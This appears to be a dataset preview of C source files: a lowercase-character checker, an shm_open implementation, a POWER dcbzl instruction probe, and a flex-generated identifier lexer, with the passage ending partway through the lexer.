file
stringlengths 18
26
| data
stringlengths 2
1.05M
|
|---|---|
the_stack_data/813278.c | ////////////////////////////////////////////////////////////////////////////
//
// Function Name : ChkSmall()
// Description : Accept Character from user and check whether it is small case or not
// Input : Integer, String
// Output : Integer, String
// Author : Prasad Dangare
// Date : 23 Mar 2021
//
////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#define TRUE 1
#define FALSE 0
typedef int BOOL;
BOOL ChkSmall(char ch)
{
if((ch >= 'a') && (ch <= 'z'))
{
return TRUE;
}
else
{
return FALSE;
}
}
int main()
{
char cValue = '\0';
BOOL bRet = FALSE;
printf("Enter the character : ");
scanf("%c", &cValue);
bRet = ChkSmall(cValue);
if(bRet == TRUE)
{
printf("It is Small case Character");
}
else
{
printf("It is not a Small case Character");
}
return 0;
} |
the_stack_data/173578580.c | #include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
char* __strchrnul(const char*, int);
char* __shm_mapname(const char* name, char* buf) {
char* p;
while (*name == '/')
name++;
if (*(p = __strchrnul(name, '/')) || p == name ||
(p - name <= 2 && name[0] == '.' && p[-1] == '.')) {
errno = EINVAL;
return 0;
}
if (p - name > NAME_MAX) {
errno = ENAMETOOLONG;
return 0;
}
memcpy(buf, "/dev/shm/", 9);
memcpy(buf + 9, name, p - name + 1);
return buf;
}
int shm_open(const char* name, int flag, mode_t mode) {
char buf[NAME_MAX + 10];
if (!(name = __shm_mapname(name, buf)))
return -1;
return open(name, flag | O_NOFOLLOW | O_CLOEXEC | O_NONBLOCK, mode);
}
int shm_unlink(const char* name) {
char buf[NAME_MAX + 10];
if (!(name = __shm_mapname(name, buf)))
return -1;
return unlink(name);
}
|
the_stack_data/25138341.c | #include <stdio.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <setjmp.h>
typedef enum exit_codes_ {
#if defined(VGA_ppc32) || defined(VGA_ppc64be) || defined(VGA_ppc64le)
/* If the insn that got queried for: exists */
POWER_INSN_AVAILABLE = 0,
/* If the insn that got queried for: does not exist on this platform */
POWER_INSN_UNAVAILABLE = 1,
/* If the insn that got queried for: does not exist in the vocabulary of this program */
POWER_INSN_UNRECOGNIZED = 2,
/* Note: Please keep USAGE_ERROR last. */
USAGE_ERROR
#else
/* When not on a POWER system: */
NOT_POWER_ARCH = 255,
#endif
} exit_code;
#if defined(VGA_ppc32) || defined(VGA_ppc64be) || defined(VGA_ppc64le)
/* Signal Handling support for unsupported instructions. */
static jmp_buf unsup_insn_env;
static void unsup_insn_handler(int signal_number)
{
if (signal_number == SIGILL)
longjmp(unsup_insn_env, 1);
return;
}
static struct sigaction unsup_insn_action = (struct sigaction) {
.sa_handler = &unsup_insn_handler,
};
/* Instruction existence tests. */
static bool dcbzl_available(void)
{
#define MAX_DCBZL_SZB (128) /* largest known effect of dcbzl */
char *test_block = NULL;
register char *rb asm ("r14");
int err;
bool dcbzl_exists = false;
err = posix_memalign ((void **)&test_block, MAX_DCBZL_SZB, 4 * MAX_DCBZL_SZB);
if (err) {
fprintf(stderr, "posix_memalign() failed (err = %d [%s])\n", err, strerror(err));
return err;
}
rb = test_block;
if (setjmp(unsup_insn_env) != 0)
dcbzl_exists = false;
else {
sigaction(SIGILL, &unsup_insn_action, NULL);
asm volatile ("dcbzl 0, %[RB]" : : [RB] "r" (rb));
dcbzl_exists = true;
}
free(test_block);
return dcbzl_exists;
}
#endif
/* main() */
int main(int argc, char **argv)
{
exit_code status;
#if defined(VGA_ppc32) || defined(VGA_ppc64be) || defined(VGA_ppc64le)
char *insn;
if (argc != 2) {
fprintf(stderr, "usage: power_insn_available <insn>\n" );
exit(USAGE_ERROR);
}
insn = argv[1];
if (strcmp (insn, "dcbzl") == 0)
status = ((dcbzl_available ()) ? POWER_INSN_AVAILABLE : POWER_INSN_UNAVAILABLE);
else
/* power_insn_available has not been taught anything about this insn yet. */
status = POWER_INSN_UNRECOGNIZED;
#else
status = NOT_POWER_ARCH;
#endif
return status;
}
|
the_stack_data/448475.c |
#line 3 "lex.yy.c"
#define YY_INT_ALIGNED short int
/* A lexical scanner generated by flex */
#define FLEX_SCANNER
#define YY_FLEX_MAJOR_VERSION 2
#define YY_FLEX_MINOR_VERSION 6
#define YY_FLEX_SUBMINOR_VERSION 4
#if YY_FLEX_SUBMINOR_VERSION > 0
#define FLEX_BETA
#endif
/* First, we deal with platform-specific or compiler-specific issues. */
/* begin standard C headers. */
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
/* end standard C headers. */
/* flex integer type definitions */
#ifndef FLEXINT_H
#define FLEXINT_H
/* C99 systems have <inttypes.h>. Non-C99 systems may or may not. */
#if defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L
/* C99 says to define __STDC_LIMIT_MACROS before including stdint.h,
* if you want the limit (max/min) macros for int types.
*/
#ifndef __STDC_LIMIT_MACROS
#define __STDC_LIMIT_MACROS 1
#endif
#include <inttypes.h>
typedef int8_t flex_int8_t;
typedef uint8_t flex_uint8_t;
typedef int16_t flex_int16_t;
typedef uint16_t flex_uint16_t;
typedef int32_t flex_int32_t;
typedef uint32_t flex_uint32_t;
#else
typedef signed char flex_int8_t;
typedef short int flex_int16_t;
typedef int flex_int32_t;
typedef unsigned char flex_uint8_t;
typedef unsigned short int flex_uint16_t;
typedef unsigned int flex_uint32_t;
/* Limits of integral types. */
#ifndef INT8_MIN
#define INT8_MIN (-128)
#endif
#ifndef INT16_MIN
#define INT16_MIN (-32767-1)
#endif
#ifndef INT32_MIN
#define INT32_MIN (-2147483647-1)
#endif
#ifndef INT8_MAX
#define INT8_MAX (127)
#endif
#ifndef INT16_MAX
#define INT16_MAX (32767)
#endif
#ifndef INT32_MAX
#define INT32_MAX (2147483647)
#endif
#ifndef UINT8_MAX
#define UINT8_MAX (255U)
#endif
#ifndef UINT16_MAX
#define UINT16_MAX (65535U)
#endif
#ifndef UINT32_MAX
#define UINT32_MAX (4294967295U)
#endif
#ifndef SIZE_MAX
#define SIZE_MAX (~(size_t)0)
#endif
#endif /* ! C99 */
#endif /* ! FLEXINT_H */
/* begin standard C++ headers. */
/* TODO: this is always defined, so inline it */
#define yyconst const
#if defined(__GNUC__) && __GNUC__ >= 3
#define yynoreturn __attribute__((__noreturn__))
#else
#define yynoreturn
#endif
/* Returned upon end-of-file. */
#define YY_NULL 0
/* Promotes a possibly negative, possibly signed char to an
* integer in range [0..255] for use as an array index.
*/
#define YY_SC_TO_UI(c) ((YY_CHAR) (c))
/* Enter a start condition. This macro really ought to take a parameter,
* but we do it the disgusting crufty way forced on us by the ()-less
* definition of BEGIN.
*/
#define BEGIN (yy_start) = 1 + 2 *
/* Translate the current start state into a value that can be later handed
* to BEGIN to return to the state. The YYSTATE alias is for lex
* compatibility.
*/
#define YY_START (((yy_start) - 1) / 2)
#define YYSTATE YY_START
/* Action number for EOF rule of a given start state. */
#define YY_STATE_EOF(state) (YY_END_OF_BUFFER + state + 1)
/* Special action meaning "start processing a new file". */
#define YY_NEW_FILE yyrestart( yyin )
#define YY_END_OF_BUFFER_CHAR 0
/* Size of default input buffer. */
#ifndef YY_BUF_SIZE
#ifdef __ia64__
/* On IA-64, the buffer size is 16k, not 8k.
* Moreover, YY_BUF_SIZE is 2*YY_READ_BUF_SIZE in the general case.
* Ditto for the __ia64__ case accordingly.
*/
#define YY_BUF_SIZE 32768
#else
#define YY_BUF_SIZE 16384
#endif /* __ia64__ */
#endif
/* The state buf must be large enough to hold one state per character in the main buffer.
*/
#define YY_STATE_BUF_SIZE ((YY_BUF_SIZE + 2) * sizeof(yy_state_type))
#ifndef YY_TYPEDEF_YY_BUFFER_STATE
#define YY_TYPEDEF_YY_BUFFER_STATE
typedef struct yy_buffer_state *YY_BUFFER_STATE;
#endif
#ifndef YY_TYPEDEF_YY_SIZE_T
#define YY_TYPEDEF_YY_SIZE_T
typedef size_t yy_size_t;
#endif
extern int yyleng;
extern FILE *yyin, *yyout;
#define EOB_ACT_CONTINUE_SCAN 0
#define EOB_ACT_END_OF_FILE 1
#define EOB_ACT_LAST_MATCH 2
#define YY_LESS_LINENO(n)
#define YY_LINENO_REWIND_TO(ptr)
/* Return all but the first "n" matched characters back to the input stream. */
#define yyless(n) \
do \
{ \
/* Undo effects of setting up yytext. */ \
int yyless_macro_arg = (n); \
YY_LESS_LINENO(yyless_macro_arg);\
*yy_cp = (yy_hold_char); \
YY_RESTORE_YY_MORE_OFFSET \
(yy_c_buf_p) = yy_cp = yy_bp + yyless_macro_arg - YY_MORE_ADJ; \
YY_DO_BEFORE_ACTION; /* set up yytext again */ \
} \
while ( 0 )
#define unput(c) yyunput( c, (yytext_ptr) )
#ifndef YY_STRUCT_YY_BUFFER_STATE
#define YY_STRUCT_YY_BUFFER_STATE
struct yy_buffer_state
{
FILE *yy_input_file;
char *yy_ch_buf; /* input buffer */
char *yy_buf_pos; /* current position in input buffer */
/* Size of input buffer in bytes, not including room for EOB
* characters.
*/
int yy_buf_size;
/* Number of characters read into yy_ch_buf, not including EOB
* characters.
*/
int yy_n_chars;
/* Whether we "own" the buffer - i.e., we know we created it,
* and can realloc() it to grow it, and should free() it to
* delete it.
*/
int yy_is_our_buffer;
/* Whether this is an "interactive" input source; if so, and
* if we're using stdio for input, then we want to use getc()
* instead of fread(), to make sure we stop fetching input after
* each newline.
*/
int yy_is_interactive;
/* Whether we're considered to be at the beginning of a line.
* If so, '^' rules will be active on the next match, otherwise
* not.
*/
int yy_at_bol;
int yy_bs_lineno; /**< The line count. */
int yy_bs_column; /**< The column count. */
/* Whether to try to fill the input buffer when we reach the
* end of it.
*/
int yy_fill_buffer;
int yy_buffer_status;
#define YY_BUFFER_NEW 0
#define YY_BUFFER_NORMAL 1
/* When an EOF's been seen but there's still some text to process
* then we mark the buffer as YY_EOF_PENDING, to indicate that we
* shouldn't try reading from the input source any more. We might
* still have a bunch of tokens to match, though, because of
* possible backing-up.
*
* When we actually see the EOF, we change the status to "new"
* (via yyrestart()), so that the user can continue scanning by
* just pointing yyin at a new input file.
*/
#define YY_BUFFER_EOF_PENDING 2
};
#endif /* !YY_STRUCT_YY_BUFFER_STATE */
/* Stack of input buffers. */
static size_t yy_buffer_stack_top = 0; /**< index of top of stack. */
static size_t yy_buffer_stack_max = 0; /**< capacity of stack. */
static YY_BUFFER_STATE * yy_buffer_stack = NULL; /**< Stack as an array. */
/* We provide macros for accessing buffer states in case in the
* future we want to put the buffer states in a more general
* "scanner state".
*
* Returns the top of the stack, or NULL.
*/
#define YY_CURRENT_BUFFER ( (yy_buffer_stack) \
? (yy_buffer_stack)[(yy_buffer_stack_top)] \
: NULL)
/* Same as previous macro, but useful when we know that the buffer stack is not
* NULL or when we need an lvalue. For internal use only.
*/
#define YY_CURRENT_BUFFER_LVALUE (yy_buffer_stack)[(yy_buffer_stack_top)]
/* yy_hold_char holds the character lost when yytext is formed. */
static char yy_hold_char;
static int yy_n_chars; /* number of characters read into yy_ch_buf */
int yyleng;
/* Points to current character in buffer. */
static char *yy_c_buf_p = NULL;
static int yy_init = 0; /* whether we need to initialize */
static int yy_start = 0; /* start state number */
/* Flag which is used to allow yywrap()'s to do buffer switches
* instead of setting up a fresh yyin. A bit of a hack ...
*/
static int yy_did_buffer_switch_on_eof;
void yyrestart ( FILE *input_file );
void yy_switch_to_buffer ( YY_BUFFER_STATE new_buffer );
YY_BUFFER_STATE yy_create_buffer ( FILE *file, int size );
void yy_delete_buffer ( YY_BUFFER_STATE b );
void yy_flush_buffer ( YY_BUFFER_STATE b );
void yypush_buffer_state ( YY_BUFFER_STATE new_buffer );
void yypop_buffer_state ( void );
static void yyensure_buffer_stack ( void );
static void yy_load_buffer_state ( void );
static void yy_init_buffer ( YY_BUFFER_STATE b, FILE *file );
#define YY_FLUSH_BUFFER yy_flush_buffer( YY_CURRENT_BUFFER )
YY_BUFFER_STATE yy_scan_buffer ( char *base, yy_size_t size );
YY_BUFFER_STATE yy_scan_string ( const char *yy_str );
YY_BUFFER_STATE yy_scan_bytes ( const char *bytes, int len );
void *yyalloc ( yy_size_t );
void *yyrealloc ( void *, yy_size_t );
void yyfree ( void * );
#define yy_new_buffer yy_create_buffer
#define yy_set_interactive(is_interactive) \
{ \
if ( ! YY_CURRENT_BUFFER ){ \
yyensure_buffer_stack (); \
YY_CURRENT_BUFFER_LVALUE = \
yy_create_buffer( yyin, YY_BUF_SIZE ); \
} \
YY_CURRENT_BUFFER_LVALUE->yy_is_interactive = is_interactive; \
}
#define yy_set_bol(at_bol) \
{ \
if ( ! YY_CURRENT_BUFFER ){\
yyensure_buffer_stack (); \
YY_CURRENT_BUFFER_LVALUE = \
yy_create_buffer( yyin, YY_BUF_SIZE ); \
} \
YY_CURRENT_BUFFER_LVALUE->yy_at_bol = at_bol; \
}
#define YY_AT_BOL() (YY_CURRENT_BUFFER_LVALUE->yy_at_bol)
/* Begin user sect3 */
#define yywrap() (/*CONSTCOND*/1)
#define YY_SKIP_YYWRAP
typedef flex_uint8_t YY_CHAR;
FILE *yyin = NULL, *yyout = NULL;
typedef int yy_state_type;
extern int yylineno;
int yylineno = 1;
extern char *yytext;
#ifdef yytext_ptr
#undef yytext_ptr
#endif
#define yytext_ptr yytext
static yy_state_type yy_get_previous_state ( void );
static yy_state_type yy_try_NUL_trans ( yy_state_type current_state );
static int yy_get_next_buffer ( void );
static void yynoreturn yy_fatal_error ( const char* msg );
/* Done after the current pattern has been matched and before the
* corresponding action - sets up yytext.
*/
#define YY_DO_BEFORE_ACTION \
(yytext_ptr) = yy_bp; \
yyleng = (int) (yy_cp - yy_bp); \
(yy_hold_char) = *yy_cp; \
*yy_cp = '\0'; \
(yy_c_buf_p) = yy_cp;
#define YY_NUM_RULES 3
#define YY_END_OF_BUFFER 4
/* This struct is not used in this scanner,
but its presence is necessary. */
struct yy_trans_info
{
flex_int32_t yy_verify;
flex_int32_t yy_nxt;
};
static const flex_int16_t yy_accept[11] =
{ 0,
2, 2, 4, 2, 3, 2, 2, 1, 2, 0
} ;
static const YY_CHAR yy_ec[256] =
{ 0,
1, 1, 1, 1, 1, 1, 1, 1, 1, 2,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 3, 3, 3,
3, 3, 3, 3, 3, 3, 3, 1, 1, 1,
1, 1, 1, 1, 4, 4, 4, 4, 4, 4,
4, 4, 4, 4, 4, 4, 4, 4, 4, 4,
4, 4, 4, 4, 4, 4, 4, 4, 4, 4,
1, 1, 1, 1, 1, 1, 5, 5, 5, 5,
5, 5, 5, 5, 5, 5, 5, 5, 5, 5,
5, 5, 5, 5, 5, 5, 5, 5, 5, 5,
5, 5, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1
} ;
static const YY_CHAR yy_meta[6] =
{ 0,
1, 2, 1, 1, 1
} ;
static const flex_int16_t yy_base[12] =
{ 0,
0, 0, 11, 0, 12, 5, 0, 0, 0, 12,
6
} ;
static const flex_int16_t yy_def[12] =
{ 0,
10, 1, 10, 11, 10, 10, 11, 11, 6, 0,
10
} ;
static const flex_int16_t yy_nxt[18] =
{ 0,
4, 5, 4, 6, 6, 7, 7, 8, 9, 9,
10, 3, 10, 10, 10, 10, 10
} ;
static const flex_int16_t yy_chk[18] =
{ 0,
1, 1, 1, 1, 1, 6, 11, 6, 6, 6,
3, 10, 10, 10, 10, 10, 10
} ;
static yy_state_type yy_last_accepting_state;
static char *yy_last_accepting_cpos;
extern int yy_flex_debug;
int yy_flex_debug = 0;
/* The intent behind this definition is that it'll catch
* any uses of REJECT which flex missed.
*/
#define REJECT reject_used_but_not_detected
#define yymore() yymore_used_but_not_detected
#define YY_MORE_ADJ 0
#define YY_RESTORE_YY_MORE_OFFSET
char *yytext;
#line 1 "test1.l"
#line 2 "test1.l"
/* Scan and return a token for identifiers of the format :
string number
Note: strings are not case sensitive
Examples: a0 , A1 , ab2 , AB4 , aBc5
*/
#include<stdio.h>
#define ID 1 //Identifier token
#define ER 2 //Error token
#line 461 "lex.yy.c"
#line 462 "lex.yy.c"
#define INITIAL 0
#ifndef YY_NO_UNISTD_H
/* Special case for "unistd.h", since it is non-ANSI. We include it way
* down here because we want the user's section 1 to have been scanned first.
* The user has a chance to override it with an option.
*/
#include <unistd.h>
#endif
#ifndef YY_EXTRA_TYPE
#define YY_EXTRA_TYPE void *
#endif
static int yy_init_globals ( void );
/* Accessor methods to globals.
These are made visible to non-reentrant scanners for convenience. */
int yylex_destroy ( void );
int yyget_debug ( void );
void yyset_debug ( int debug_flag );
YY_EXTRA_TYPE yyget_extra ( void );
void yyset_extra ( YY_EXTRA_TYPE user_defined );
FILE *yyget_in ( void );
void yyset_in ( FILE * _in_str );
FILE *yyget_out ( void );
void yyset_out ( FILE * _out_str );
int yyget_leng ( void );
char *yyget_text ( void );
int yyget_lineno ( void );
void yyset_lineno ( int _line_number );
/* Macros after this point can all be overridden by user definitions in
* section 1.
*/
#ifndef YY_SKIP_YYWRAP
#ifdef __cplusplus
extern "C" int yywrap ( void );
#else
extern int yywrap ( void );
#endif
#endif
#ifndef YY_NO_UNPUT
static void yyunput ( int c, char *buf_ptr );
#endif
#ifndef yytext_ptr
static void yy_flex_strncpy ( char *, const char *, int );
#endif
#ifdef YY_NEED_STRLEN
static int yy_flex_strlen ( const char * );
#endif
#ifndef YY_NO_INPUT
#ifdef __cplusplus
static int yyinput ( void );
#else
static int input ( void );
#endif
#endif
/* Amount of stuff to slurp up with each read. */
#ifndef YY_READ_BUF_SIZE
#ifdef __ia64__
/* On IA-64, the buffer size is 16k, not 8k */
#define YY_READ_BUF_SIZE 16384
#else
#define YY_READ_BUF_SIZE 8192
#endif /* __ia64__ */
#endif
/* Copy whatever the last rule matched to the standard output. */
#ifndef ECHO
/* This used to be an fputs(), but since the string might contain NUL's,
* we now use fwrite().
*/
#define ECHO do { if (fwrite( yytext, (size_t) yyleng, 1, yyout )) {} } while (0)
#endif
/* Gets input and stuffs it into "buf". number of characters read, or YY_NULL,
* is returned in "result".
*/
#ifndef YY_INPUT
#define YY_INPUT(buf,result,max_size) \
if ( YY_CURRENT_BUFFER_LVALUE->yy_is_interactive ) \
{ \
int c = '*'; \
int n; \
for ( n = 0; n < max_size && \
(c = getc( yyin )) != EOF && c != '\n'; ++n ) \
buf[n] = (char) c; \
if ( c == '\n' ) \
buf[n++] = (char) c; \
if ( c == EOF && ferror( yyin ) ) \
YY_FATAL_ERROR( "input in flex scanner failed" ); \
result = n; \
} \
else \
{ \
errno=0; \
while ( (result = (int) fread(buf, 1, (yy_size_t) max_size, yyin)) == 0 && ferror(yyin)) \
{ \
if( errno != EINTR) \
{ \
YY_FATAL_ERROR( "input in flex scanner failed" ); \
break; \
} \
errno=0; \
clearerr(yyin); \
} \
}\
\
#endif
/* No semi-colon after return; correct usage is to write "yyterminate();" -
* we don't want an extra ';' after the "return" because that will cause
* some compilers to complain about unreachable statements.
*/
#ifndef yyterminate
#define yyterminate() return YY_NULL
#endif
/* Number of entries by which start-condition stack grows. */
#ifndef YY_START_STACK_INCR
#define YY_START_STACK_INCR 25
#endif
/* Report a fatal error. */
#ifndef YY_FATAL_ERROR
#define YY_FATAL_ERROR(msg) yy_fatal_error( msg )
#endif
/* end tables serialization structures and prototypes */
/* Default declaration of generated scanner - a define so the user can
* easily add parameters.
*/
#ifndef YY_DECL
#define YY_DECL_IS_OURS 1
extern int yylex (void);
#define YY_DECL int yylex (void)
#endif /* !YY_DECL */
/* Code executed at the beginning of each rule, after yytext and yyleng
* have been set up.
*/
#ifndef YY_USER_ACTION
#define YY_USER_ACTION
#endif
/* Code executed at the end of each rule. */
#ifndef YY_BREAK
#define YY_BREAK /*LINTED*/break;
#endif
#define YY_RULE_SETUP \
YY_USER_ACTION
/** The main scanner function which does all the work.
*/
YY_DECL
{
yy_state_type yy_current_state;
char *yy_cp, *yy_bp;
int yy_act;
if ( !(yy_init) )
{
(yy_init) = 1;
#ifdef YY_USER_INIT
YY_USER_INIT;
#endif
if ( ! (yy_start) )
(yy_start) = 1; /* first start state */
if ( ! yyin )
yyin = stdin;
if ( ! yyout )
yyout = stdout;
if ( ! YY_CURRENT_BUFFER ) {
yyensure_buffer_stack ();
YY_CURRENT_BUFFER_LVALUE =
yy_create_buffer( yyin, YY_BUF_SIZE );
}
yy_load_buffer_state( );
}
{
#line 22 "test1.l"
#line 682 "lex.yy.c"
while ( /*CONSTCOND*/1 ) /* loops until end-of-file is reached */
{
yy_cp = (yy_c_buf_p);
/* Support of yytext. */
*yy_cp = (yy_hold_char);
/* yy_bp points to the position in yy_ch_buf of the start of
* the current run.
*/
yy_bp = yy_cp;
yy_current_state = (yy_start);
yy_match:
do
{
YY_CHAR yy_c = yy_ec[YY_SC_TO_UI(*yy_cp)] ;
if ( yy_accept[yy_current_state] )
{
(yy_last_accepting_state) = yy_current_state;
(yy_last_accepting_cpos) = yy_cp;
}
while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state )
{
yy_current_state = (int) yy_def[yy_current_state];
if ( yy_current_state >= 11 )
yy_c = yy_meta[yy_c];
}
yy_current_state = yy_nxt[yy_base[yy_current_state] + yy_c];
++yy_cp;
}
while ( yy_base[yy_current_state] != 12 );
yy_find_action:
yy_act = yy_accept[yy_current_state];
if ( yy_act == 0 )
{ /* have to back up */
yy_cp = (yy_last_accepting_cpos);
yy_current_state = (yy_last_accepting_state);
yy_act = yy_accept[yy_current_state];
}
YY_DO_BEFORE_ACTION;
do_action: /* This label is used only to access EOF actions. */
switch ( yy_act )
{ /* beginning of action switch */
case 0: /* must back up */
/* undo the effects of YY_DO_BEFORE_ACTION */
*yy_cp = (yy_hold_char);
yy_cp = (yy_last_accepting_cpos);
yy_current_state = (yy_last_accepting_state);
goto yy_find_action;
case 1:
YY_RULE_SETUP
#line 24 "test1.l"
return ID;
YY_BREAK
case 2:
YY_RULE_SETUP
#line 26 "test1.l"
return ER;
YY_BREAK
case 3:
YY_RULE_SETUP
#line 28 "test1.l"
ECHO;
YY_BREAK
#line 754 "lex.yy.c"
case YY_STATE_EOF(INITIAL):
yyterminate();
case YY_END_OF_BUFFER:
{
/* Amount of text matched not including the EOB char. */
int yy_amount_of_matched_text = (int) (yy_cp - (yytext_ptr)) - 1;
/* Undo the effects of YY_DO_BEFORE_ACTION. */
*yy_cp = (yy_hold_char);
YY_RESTORE_YY_MORE_OFFSET
if ( YY_CURRENT_BUFFER_LVALUE->yy_buffer_status == YY_BUFFER_NEW )
{
/* We're scanning a new file or input source. It's
* possible that this happened because the user
* just pointed yyin at a new source and called
* yylex(). If so, then we have to assure
* consistency between YY_CURRENT_BUFFER and our
* globals. Here is the right place to do so, because
* this is the first action (other than possibly a
* back-up) that will match for the new input source.
*/
(yy_n_chars) = YY_CURRENT_BUFFER_LVALUE->yy_n_chars;
YY_CURRENT_BUFFER_LVALUE->yy_input_file = yyin;
YY_CURRENT_BUFFER_LVALUE->yy_buffer_status = YY_BUFFER_NORMAL;
}
/* Note that here we test for yy_c_buf_p "<=" to the position
* of the first EOB in the buffer, since yy_c_buf_p will
* already have been incremented past the NUL character
* (since all states make transitions on EOB to the
* end-of-buffer state). Contrast this with the test
* in input().
*/
if ( (yy_c_buf_p) <= &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)] )
{ /* This was really a NUL. */
yy_state_type yy_next_state;
(yy_c_buf_p) = (yytext_ptr) + yy_amount_of_matched_text;
yy_current_state = yy_get_previous_state( );
/* Okay, we're now positioned to make the NUL
* transition. We couldn't have
* yy_get_previous_state() go ahead and do it
* for us because it doesn't know how to deal
* with the possibility of jamming (and we don't
* want to build jamming into it because then it
* will run more slowly).
*/
yy_next_state = yy_try_NUL_trans( yy_current_state );
yy_bp = (yytext_ptr) + YY_MORE_ADJ;
if ( yy_next_state )
{
/* Consume the NUL. */
yy_cp = ++(yy_c_buf_p);
yy_current_state = yy_next_state;
goto yy_match;
}
else
{
yy_cp = (yy_c_buf_p);
goto yy_find_action;
}
}
else switch ( yy_get_next_buffer( ) )
{
case EOB_ACT_END_OF_FILE:
{
(yy_did_buffer_switch_on_eof) = 0;
if ( yywrap( ) )
{
/* Note: because we've taken care in
* yy_get_next_buffer() to have set up
* yytext, we can now set up
* yy_c_buf_p so that if some total
* hoser (like flex itself) wants to
* call the scanner after we return the
* YY_NULL, it'll still work - another
* YY_NULL will get returned.
*/
(yy_c_buf_p) = (yytext_ptr) + YY_MORE_ADJ;
yy_act = YY_STATE_EOF(YY_START);
goto do_action;
}
else
{
if ( ! (yy_did_buffer_switch_on_eof) )
YY_NEW_FILE;
}
break;
}
case EOB_ACT_CONTINUE_SCAN:
(yy_c_buf_p) =
(yytext_ptr) + yy_amount_of_matched_text;
yy_current_state = yy_get_previous_state( );
yy_cp = (yy_c_buf_p);
yy_bp = (yytext_ptr) + YY_MORE_ADJ;
goto yy_match;
case EOB_ACT_LAST_MATCH:
(yy_c_buf_p) =
&YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)];
yy_current_state = yy_get_previous_state( );
yy_cp = (yy_c_buf_p);
yy_bp = (yytext_ptr) + YY_MORE_ADJ;
goto yy_find_action;
}
break;
}
default:
YY_FATAL_ERROR(
"fatal flex scanner internal error--no action found" );
} /* end of action switch */
} /* end of scanning one token */
} /* end of user's declarations */
} /* end of yylex */
/* yy_get_next_buffer - try to read in a new buffer
*
* Returns a code representing an action:
* EOB_ACT_LAST_MATCH -
* EOB_ACT_CONTINUE_SCAN - continue scanning from current position
* EOB_ACT_END_OF_FILE - end of file
*/
static int yy_get_next_buffer (void)
{
char *dest = YY_CURRENT_BUFFER_LVALUE->yy_ch_buf;
char *source = (yytext_ptr);
int number_to_move, i;
int ret_val;
if ( (yy_c_buf_p) > &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars) + 1] )
YY_FATAL_ERROR(
"fatal flex scanner internal error--end of buffer missed" );
if ( YY_CURRENT_BUFFER_LVALUE->yy_fill_buffer == 0 )
{ /* Don't try to fill the buffer, so this is an EOF. */
if ( (yy_c_buf_p) - (yytext_ptr) - YY_MORE_ADJ == 1 )
{
/* We matched a single character, the EOB, so
* treat this as a final EOF.
*/
return EOB_ACT_END_OF_FILE;
}
else
{
/* We matched some text prior to the EOB, first
* process it.
*/
return EOB_ACT_LAST_MATCH;
}
}
/* Try to read more data. */
/* First move last chars to start of buffer. */
number_to_move = (int) ((yy_c_buf_p) - (yytext_ptr) - 1);
for ( i = 0; i < number_to_move; ++i )
*(dest++) = *(source++);
if ( YY_CURRENT_BUFFER_LVALUE->yy_buffer_status == YY_BUFFER_EOF_PENDING )
/* don't do the read, it's not guaranteed to return an EOF,
* just force an EOF
*/
YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars) = 0;
else
{
int num_to_read =
YY_CURRENT_BUFFER_LVALUE->yy_buf_size - number_to_move - 1;
while ( num_to_read <= 0 )
{ /* Not enough room in the buffer - grow it. */
/* just a shorter name for the current buffer */
YY_BUFFER_STATE b = YY_CURRENT_BUFFER_LVALUE;
int yy_c_buf_p_offset =
(int) ((yy_c_buf_p) - b->yy_ch_buf);
if ( b->yy_is_our_buffer )
{
int new_size = b->yy_buf_size * 2;
if ( new_size <= 0 )
b->yy_buf_size += b->yy_buf_size / 8;
else
b->yy_buf_size *= 2;
b->yy_ch_buf = (char *)
/* Include room in for 2 EOB chars. */
yyrealloc( (void *) b->yy_ch_buf,
(yy_size_t) (b->yy_buf_size + 2) );
}
else
/* Can't grow it, we don't own it. */
b->yy_ch_buf = NULL;
if ( ! b->yy_ch_buf )
YY_FATAL_ERROR(
"fatal error - scanner input buffer overflow" );
(yy_c_buf_p) = &b->yy_ch_buf[yy_c_buf_p_offset];
num_to_read = YY_CURRENT_BUFFER_LVALUE->yy_buf_size -
number_to_move - 1;
}
if ( num_to_read > YY_READ_BUF_SIZE )
num_to_read = YY_READ_BUF_SIZE;
/* Read in more data. */
YY_INPUT( (&YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[number_to_move]),
(yy_n_chars), num_to_read );
YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars);
}
if ( (yy_n_chars) == 0 )
{
if ( number_to_move == YY_MORE_ADJ )
{
ret_val = EOB_ACT_END_OF_FILE;
yyrestart( yyin );
}
else
{
ret_val = EOB_ACT_LAST_MATCH;
YY_CURRENT_BUFFER_LVALUE->yy_buffer_status =
YY_BUFFER_EOF_PENDING;
}
}
else
ret_val = EOB_ACT_CONTINUE_SCAN;
if (((yy_n_chars) + number_to_move) > YY_CURRENT_BUFFER_LVALUE->yy_buf_size) {
/* Extend the array by 50%, plus the number we really need. */
int new_size = (yy_n_chars) + number_to_move + ((yy_n_chars) >> 1);
